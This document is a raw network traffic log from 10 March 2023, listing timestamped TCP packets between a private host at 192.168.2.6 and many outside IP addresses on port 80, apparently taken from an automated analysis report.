Mar 10, 2023 07:54:22.199078083 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.199686050 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.199723959 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.199754000 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.199764013 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.199781895 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.199794054 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.199836016 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.200484991 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.200527906 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.200556993 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.200568914 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.200584888 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.200601101 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.200637102 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.201234102 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.201273918 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.201299906 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.201327085 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.201328993 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.201359987 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.201397896 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.202055931 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.202095985 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.202126980 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.202131987 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.202155113 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.202156067 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.202183008 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.202205896 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.202805042 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.202848911 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.202878952 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.202893972 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.202905893 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.202920914 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.202951908 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.203589916 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.203634977 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.203661919 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.203680038 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.203689098 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.203717947 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.203742027 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.204364061 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.204402924 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.204442978 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.204466105 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.238569021 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.238622904 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.238650084 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.238802910 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.238846064 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.253520012 CET	49766	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:22.264216900 CET	49767	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:22.264794111 CET	80	49764	72.44.93.236	192.168.2.6
Mar 10, 2023 07:54:22.264903069 CET	49764	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:54:22.267256021 CET	49764	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:54:22.267263889 CET	80	49763	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:22.267379999 CET	49763	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:22.268373966 CET	49763	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:22.282963037 CET	80	49767	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:22.283256054 CET	49767	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:22.285852909 CET	80	49766	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:22.288449049 CET	49766	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:22.300750017 CET	49768	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:22.303900957 CET	49767	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:22.304269075 CET	49766	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:22.309636116 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.309724092 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.309770107 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.309808969 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.309838057 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.309866905 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.309875011 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.309911013 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.309952974 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.310605049 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.310748100 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.310781956 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.310798883 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.310811043 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.310822964 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.310838938 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.310854912 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.310866117 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.310910940 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.311592102 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.311629057 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.311659098 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.311716080 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.311744928 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.311779976 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.311856985 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.312547922 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.312587976 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.312616110 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.312644005 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.312669992 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.312707901 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.312814951 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.313500881 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.313539028 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.313568115 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.313597918 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.313627005 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.313669920 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.313707113 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.314471960 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.314511061 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.314542055 CET	80	49758	172.67.201.26	192.168.2.6
Mar 10, 2023 07:54:22.314713001 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.314713001 CET	49758	80	192.168.2.6	172.67.201.26
Mar 10, 2023 07:54:22.322577000 CET	80	49767	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:22.336931944 CET	80	49766	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:22.336977959 CET	80	49766	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:22.337106943 CET	49766	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:22.350683928 CET	80	49768	195.78.66.50	192.168.2.6
Mar 10, 2023 07:54:22.351336956 CET	49768	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:22.388309956 CET	80	49765	122.128.109.107	192.168.2.6
Mar 10, 2023 07:54:22.388453960 CET	49765	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:54:22.394654036 CET	80	49764	72.44.93.236	192.168.2.6
Mar 10, 2023 07:54:22.396240950 CET	80	49764	72.44.93.236	192.168.2.6
Mar 10, 2023 07:54:22.396444082 CET	49764	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:54:22.402226925 CET	80	49763	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:22.403094053 CET	80	49763	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:22.403316021 CET	49763	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:22.403975010 CET	80	49763	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:22.404089928 CET	49763	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:22.465754032 CET	80	49767	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:22.466003895 CET	49767	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:23.240443945 CET	49763	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:23.374300957 CET	80	49763	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:23.784728050 CET	49765	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:54:23.786746979 CET	49768	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:23.821861982 CET	49767	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:23.821881056 CET	49766	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:23.836802006 CET	80	49768	195.78.66.50	192.168.2.6
Mar 10, 2023 07:54:23.839778900 CET	80	49768	195.78.66.50	192.168.2.6
Mar 10, 2023 07:54:23.839946985 CET	49768	80	192.168.2.6	195.78.66.50
Mar 10, 2023 07:54:23.840609074 CET	80	49767	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:23.854453087 CET	80	49766	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:23.854480028 CET	80	49766	77.68.50.105	192.168.2.6
Mar 10, 2023 07:54:23.855015039 CET	49766	80	192.168.2.6	77.68.50.105
Mar 10, 2023 07:54:23.898578882 CET	49769	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:23.899365902 CET	49770	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:23.932466030 CET	80	49767	13.248.216.40	192.168.2.6
Mar 10, 2023 07:54:23.932684898 CET	49767	80	192.168.2.6	13.248.216.40
Mar 10, 2023 07:54:23.982014894 CET	80	49765	122.128.109.107	192.168.2.6
Mar 10, 2023 07:54:23.987199068 CET	80	49765	122.128.109.107	192.168.2.6
Mar 10, 2023 07:54:23.987303972 CET	49765	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:54:24.004270077 CET	80	49770	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:24.004527092 CET	49770	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:24.005934000 CET	80	49769	51.79.51.72	192.168.2.6
Mar 10, 2023 07:54:24.006042957 CET	49769	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:24.386097908 CET	49717	80	192.168.2.6	137.118.26.67
Mar 10, 2023 07:54:24.589224100 CET	49760	80	192.168.2.6	39.99.233.155
Mar 10, 2023 07:54:24.594558954 CET	80	49746	185.80.51.179	192.168.2.6
Mar 10, 2023 07:54:24.594815969 CET	49746	80	192.168.2.6	185.80.51.179
Mar 10, 2023 07:54:24.859664917 CET	80	49744	60.43.154.138	192.168.2.6
Mar 10, 2023 07:54:24.859868050 CET	49744	80	192.168.2.6	60.43.154.138
Mar 10, 2023 07:54:26.493175030 CET	80	49757	96.127.180.42	192.168.2.6
Mar 10, 2023 07:54:26.493357897 CET	49757	80	192.168.2.6	96.127.180.42
Mar 10, 2023 07:54:26.583097935 CET	80	49755	69.163.239.62	192.168.2.6
Mar 10, 2023 07:54:26.583322048 CET	49755	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:54:26.602982998 CET	80	49756	66.94.119.160	192.168.2.6
Mar 10, 2023 07:54:26.603178024 CET	49756	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:54:26.919234991 CET	80	49759	108.167.164.216	192.168.2.6
Mar 10, 2023 07:54:26.919456959 CET	49759	80	192.168.2.6	108.167.164.216
Mar 10, 2023 07:54:27.016885996 CET	80	49762	217.19.237.54	192.168.2.6
Mar 10, 2023 07:54:27.017152071 CET	49762	80	192.168.2.6	217.19.237.54
Mar 10, 2023 07:54:27.400055885 CET	80	49764	72.44.93.236	192.168.2.6
Mar 10, 2023 07:54:27.400253057 CET	49764	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:54:27.694868088 CET	49769	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:27.717221022 CET	49770	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:27.801152945 CET	80	49769	51.79.51.72	192.168.2.6
Mar 10, 2023 07:54:27.801186085 CET	80	49769	51.79.51.72	192.168.2.6
Mar 10, 2023 07:54:27.801342010 CET	49769	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:27.820996046 CET	80	49770	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:27.821038008 CET	80	49770	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:27.821167946 CET	49770	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:27.821970940 CET	80	49770	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:27.822067976 CET	49770	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:27.843672037 CET	49769	80	192.168.2.6	51.79.51.72
Mar 10, 2023 07:54:27.877671003 CET	49770	80	192.168.2.6	208.97.178.138
Mar 10, 2023 07:54:27.952986002 CET	80	49769	51.79.51.72	192.168.2.6
Mar 10, 2023 07:54:27.980887890 CET	80	49770	208.97.178.138	192.168.2.6
Mar 10, 2023 07:54:28.108515024 CET	49771	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:28.157685995 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.165034056 CET	49773	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:28.179753065 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.179841042 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.196365118 CET	80	49773	188.166.152.188	192.168.2.6
Mar 10, 2023 07:54:28.196456909 CET	49773	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:28.215010881 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.216469049 CET	49773	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:28.236125946 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.245194912 CET	49774	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:28.245313883 CET	49775	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:28.246790886 CET	80	49773	188.166.152.188	192.168.2.6
Mar 10, 2023 07:54:28.248157024 CET	80	49773	188.166.152.188	192.168.2.6
Mar 10, 2023 07:54:28.248224974 CET	49773	80	192.168.2.6	188.166.152.188
Mar 10, 2023 07:54:28.262330055 CET	80	49774	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:28.262424946 CET	49774	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:28.273638010 CET	80	49771	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:28.273825884 CET	49771	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:28.276012897 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.276052952 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.276077032 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.276101112 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.276129007 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.276153088 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.276154041 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.276177883 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.276190996 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.276213884 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.277539968 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.277575970 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.277605057 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.277645111 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.277684927 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.296221972 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296274900 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296300888 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296324968 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296350956 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296375990 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296401024 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296425104 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296449900 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296473980 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296482086 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.296503067 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296515942 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.296530008 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296557903 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296572924 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.296583891 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.296597958 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.296627998 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.297523975 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.297559023 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.297595978 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.297606945 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.297617912 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.297633886 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.297651052 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.297660112 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.297684908 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.297687054 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.297702074 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.297725916 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.316621065 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.316663980 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.316689014 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.316704035 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.316715956 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.316735983 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.316744089 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.316768885 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.316771030 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.316796064 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.316800117 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.316821098 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.316824913 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.316843033 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.316863060 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.319823980 CET	49774	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:28.320169926 CET	49771	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:28.320836067 CET	49772	80	192.168.2.6	193.70.68.254
Mar 10, 2023 07:54:28.336713076 CET	80	49774	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:28.340914965 CET	80	49772	193.70.68.254	192.168.2.6
Mar 10, 2023 07:54:28.348035097 CET	80	49774	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:28.348203897 CET	49774	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:28.392071009 CET	80	49775	104.196.26.65	192.168.2.6
Mar 10, 2023 07:54:28.392242908 CET	49775	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:28.403743982 CET	49776	80	192.168.2.6	3.130.253.23
Mar 10, 2023 07:54:28.419519901 CET	49777	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:28.420782089 CET	49775	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:28.458884954 CET	49774	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:28.480267048 CET	80	49774	188.114.96.3	192.168.2.6
Mar 10, 2023 07:54:28.480350018 CET	49774	80	192.168.2.6	188.114.96.3
Mar 10, 2023 07:54:28.485184908 CET	80	49771	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:28.486171961 CET	80	49771	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:28.486268044 CET	49771	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:28.487116098 CET	80	49771	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:28.487206936 CET	49771	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:28.514597893 CET	49771	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:28.519351959 CET	80	49777	165.227.252.190	192.168.2.6
Mar 10, 2023 07:54:28.519499063 CET	49777	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:28.558617115 CET	80	49776	3.130.253.23	192.168.2.6
Mar 10, 2023 07:54:28.558809042 CET	49776	80	192.168.2.6	3.130.253.23
Mar 10, 2023 07:54:28.567164898 CET	80	49775	104.196.26.65	192.168.2.6
Mar 10, 2023 07:54:28.567713976 CET	80	49775	104.196.26.65	192.168.2.6
Mar 10, 2023 07:54:28.567846060 CET	49775	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:28.576255083 CET	49777	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:28.577491045 CET	49776	80	192.168.2.6	3.130.253.23
Mar 10, 2023 07:54:28.614497900 CET	49778	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:28.629729033 CET	49779	80	192.168.2.6	23.227.38.74
Mar 10, 2023 07:54:28.646137953 CET	49775	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:28.646450043 CET	80	49779	23.227.38.74	192.168.2.6
Mar 10, 2023 07:54:28.646641970 CET	49779	80	192.168.2.6	23.227.38.74
Mar 10, 2023 07:54:28.646883011 CET	49780	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:54:28.647407055 CET	49779	80	192.168.2.6	23.227.38.74
Mar 10, 2023 07:54:28.663969994 CET	80	49779	23.227.38.74	192.168.2.6
Mar 10, 2023 07:54:28.674961090 CET	80	49777	165.227.252.190	192.168.2.6
Mar 10, 2023 07:54:28.675221920 CET	80	49777	165.227.252.190	192.168.2.6
Mar 10, 2023 07:54:28.675343990 CET	49777	80	192.168.2.6	165.227.252.190
Mar 10, 2023 07:54:28.677503109 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:28.679619074 CET	80	49771	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:28.732011080 CET	80	49776	3.130.253.23	192.168.2.6
Mar 10, 2023 07:54:28.732059002 CET	80	49776	3.130.253.23	192.168.2.6
Mar 10, 2023 07:54:28.732167006 CET	49776	80	192.168.2.6	3.130.253.23
Mar 10, 2023 07:54:28.732213974 CET	49776	80	192.168.2.6	3.130.253.23
Mar 10, 2023 07:54:28.779529095 CET	80	49778	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:28.779758930 CET	49778	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:28.784085989 CET	49776	80	192.168.2.6	3.130.253.23
Mar 10, 2023 07:54:28.792392969 CET	80	49775	104.196.26.65	192.168.2.6
Mar 10, 2023 07:54:28.792870045 CET	80	49775	104.196.26.65	192.168.2.6
Mar 10, 2023 07:54:28.792952061 CET	49775	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:54:28.806921005 CET	80	49779	23.227.38.74	192.168.2.6
Mar 10, 2023 07:54:28.807063103 CET	49779	80	192.168.2.6	23.227.38.74
Mar 10, 2023 07:54:28.822571039 CET	80	49780	107.180.98.101	192.168.2.6
Mar 10, 2023 07:54:28.822706938 CET	49780	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:54:28.858073950 CET	49778	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:28.938883066 CET	80	49776	3.130.253.23	192.168.2.6
Mar 10, 2023 07:54:28.939697981 CET	80	49781	154.203.14.100	192.168.2.6
Mar 10, 2023 07:54:28.939905882 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:28.992818117 CET	80	49765	122.128.109.107	192.168.2.6
Mar 10, 2023 07:54:28.992888927 CET	49765	80	192.168.2.6	122.128.109.107
Mar 10, 2023 07:54:29.023241997 CET	80	49778	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:29.024262905 CET	80	49778	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:29.024382114 CET	49778	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:29.025150061 CET	80	49778	69.163.218.51	192.168.2.6
Mar 10, 2023 07:54:29.025238991 CET	49778	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:29.031135082 CET	49780	80	192.168.2.6	107.180.98.101
Mar 10, 2023 07:54:29.032989979 CET	49778	80	192.168.2.6	69.163.218.51
Mar 10, 2023 07:54:29.034130096 CET	49782	80	192.168.2.6	3.130.253.23
Mar 10, 2023 07:54:29.034192085 CET	49781	80	192.168.2.6	154.203.14.100
Mar 10, 2023 07:54:29.187516928 CET	49783	80	192.168.2.6	103.3.1.161
